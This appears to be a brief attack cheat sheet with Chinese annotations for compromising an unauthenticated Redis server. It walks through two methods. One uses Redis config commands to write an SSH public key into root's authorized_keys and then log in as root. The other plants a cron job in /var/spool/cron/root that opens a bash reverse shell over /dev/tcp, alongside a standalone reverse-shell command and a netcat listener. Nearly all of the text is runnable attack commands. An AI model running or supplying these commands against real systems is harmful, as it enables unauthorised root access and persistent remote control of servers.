redis-cli -h 10.20.10.204 -p 6379
config set dir /root/.ssh
config set dbfilename authorized_keys
本机创建ssh密钥对
redis设置ssh公钥
set x "\n\n\n pub-key \n\n\n"
私钥登陆
ssh root@10.20.10.204 -i ./id_rsa
2.定时计划反弹shell
受害机:
redis :
1)set x “\n* * * * * bash -i >& /dev/tcp/10.20.10.204/12345 0>&1\n”
2)config set dir /var/spool/cron/
3)config set dbfilename root
4)save
bash -c "bash -i >& /dev/tcp/10.20.10.204/12345 0>&1 2>&1"
攻击机 nc -lvp 12345